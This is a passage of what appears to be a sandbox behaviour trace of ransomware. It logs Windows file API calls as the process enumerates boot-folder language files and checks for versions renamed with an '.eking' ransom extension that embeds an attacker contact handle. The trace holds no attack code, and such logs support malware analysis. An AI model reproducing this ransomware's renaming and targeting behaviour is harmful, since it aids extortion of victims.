"c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.610] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=45976) returned 1 [0217.610] CloseHandle (hObject=0x318) returned 1 [0217.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0217.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0217.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.611] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.611] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.611] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=77144) returned 1 [0217.611] CloseHandle (hObject=0x318) returned 1 [0217.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0217.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0217.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.612] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.612] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.612] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=45472) returned 1 [0217.612] CloseHandle (hObject=0x318) returned 1 [0217.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0217.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0217.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.613] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.613] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.613] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=67424) returned 1 [0217.613] CloseHandle (hObject=0x318) returned 1 [0217.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0217.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0217.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.614] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.614] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.614] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=42904) returned 1 [0217.614] CloseHandle (hObject=0x318) returned 1 [0217.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0217.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0217.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.615] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.615] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.616] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=66912) returned 1 [0217.616] CloseHandle (hObject=0x318) returned 1 [0217.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0217.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0217.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.616] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.616] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.617] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=42912) returned 1 [0217.617] CloseHandle (hObject=0x318) returned 1 [0217.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0217.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0217.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.617] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.617] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.618] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=75616) returned 1 [0217.618] CloseHandle (hObject=0x318) returned 1 [0217.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0217.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0217.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.618] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.618] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.619] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=75608) returned 1 [0217.619] CloseHandle (hObject=0x318) returned 1 [0217.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0217.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0217.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.619] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.619] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.620] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=811936) returned 1 [0217.620] CloseHandle (hObject=0x318) returned 1 [0217.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0217.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0217.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\memtest.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.620] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.620] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.621] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=75616) returned 1 [0217.621] CloseHandle (hObject=0x318) returned 1 [0217.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0217.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0217.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.621] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.622] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.622] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=45472) returned 1 [0217.622] CloseHandle (hObject=0x318) returned 1 [0217.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20 [0217.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20 [0217.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.622] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.623] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.623] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=78176) returned 1 [0217.623] CloseHandle (hObject=0x318) returned 1 [0217.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0217.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0217.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.623] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.624] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.624] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=45472) returned 1 [0217.624] CloseHandle (hObject=0x318) returned 1 [0217.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0217.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0217.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.625] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.625] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.625] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=77656) returned 1 [0217.625] CloseHandle (hObject=0x318) returned 1 [0217.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0217.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0217.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.626] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.626] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.626] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=45984) returned 1 [0217.626] CloseHandle (hObject=0x318) returned 1 [0217.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0217.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0217.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.627] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.627] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.627] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=76640) returned 1 [0217.627] CloseHandle (hObject=0x318) returned 1 [0217.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0217.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0217.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.628] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.628] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.629] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=45472) returned 1 [0217.629] CloseHandle (hObject=0x318) returned 1 [0217.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0217.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0217.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.629] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.629] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.630] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=76640) returned 1 [0217.630] CloseHandle (hObject=0x318) returned 1 [0217.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0217.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0217.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.630] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 